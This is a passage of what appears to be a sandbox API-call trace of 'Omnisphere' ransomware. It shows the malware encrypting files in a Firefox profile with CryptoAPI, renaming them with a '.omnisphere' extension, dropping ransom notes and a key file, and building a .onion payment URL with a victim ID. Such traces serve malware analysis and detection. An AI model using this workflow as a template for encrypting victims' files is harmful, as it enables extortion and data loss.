lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\compatibility.ini.omnisphere")) returned 1 [0155.806] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini.omnisphere.id" [0155.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\compatibility.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0155.807] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0155.808] CloseHandle (hObject=0x388) returned 1 [0155.809] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0155.809] CloseHandle (hObject=0x3c0) returned 1 [0155.809] SetEndOfFile (hFile=0x288) returned 1 [0155.809] FlushFileBuffers (hFile=0x288) returned 1 [0155.814] CloseHandle (hObject=0x288) returned 1 [0155.814] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\compatibility.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0155.814] GetProcessHeap () returned 0x1600000 [0155.814] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17333a0 [0155.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0155.814] GetProcessHeap () returned 0x1600000 [0155.814] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd8c0 [0155.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd8c0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0155.814] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0155.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.814] GetProcessHeap () returned 0x1600000 [0155.814] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726a18 [0155.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726a18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0155.815] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0155.815] GetProcessHeap () returned 0x1600000 [0155.815] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1733080 [0155.815] PathCombineW (in: pszDest=0x1733080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0155.815] GetProcessHeap () returned 0x1600000 [0155.815] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1720220 [0155.815] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.815] WriteFile (in: hFile=0x288, lpBuffer=0x1720220*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1720220*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0155.815] CloseHandle (hObject=0x288) returned 1 [0155.816] GetProcessHeap () returned 0x1600000 [0155.816] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17333a0 | out: hHeap=0x1600000) returned 1 [0155.816] GetProcessHeap () returned 0x1600000 [0155.816] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162bd08 [0155.816] PathCombineW (in: pszDest=0x162bd08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" [0155.816] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.816] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0155.816] CloseHandle (hObject=0x288) returned 1 [0155.816] GetProcessHeap () returned 0x1600000 [0155.816] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162bd08 | out: hHeap=0x1600000) returned 1 [0155.816] GetProcessHeap () returned 0x1600000 [0155.817] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c6c8 | out: hHeap=0x1600000) returned 1 [0155.817] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9a54e3, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xff9a54e3, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xff9a54e3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x329, dwReserved0=0x0, dwReserved1=0xcc, cFileName="containers.json", cAlternateFileName="CONTAI~1.JSO")) returned 1 [0155.817] GetProcessHeap () returned 0x1600000 [0155.817] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162c6c8 [0155.817] PathCombineW (in: pszDest=0x162c6c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="containers.json" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" [0155.817] StrStrW (lpFirst=".omnisphere", lpSrch=".json") returned 0x0 [0155.817] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.818] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=809) returned 1 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.818] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] GetTickCount () returned 0x1166ba2 [0155.819] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668ce0) returned 1 [0155.820] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16397a8) returned 1 [0155.820] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0155.820] CryptDestroyKey (hKey=0x16397a8) returned 1 [0155.820] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0155.820] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x329, lpName=0x0) returned 0x3c0 [0155.820] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x329) returned 0x1480000 [0155.827] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668f88) returned 1 [0155.828] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0155.828] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0155.828] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0155.828] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.828] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.828] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.828] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.828] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.829] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.830] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.831] CryptDestroyKey (hKey=0x1639b28) returned 1 [0155.831] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0155.831] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x329, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.831] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0155.832] GetProcessHeap () returned 0x1600000 [0155.832] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d2) returned 0x17343a8 [0155.833] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\containers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\containers.json"), 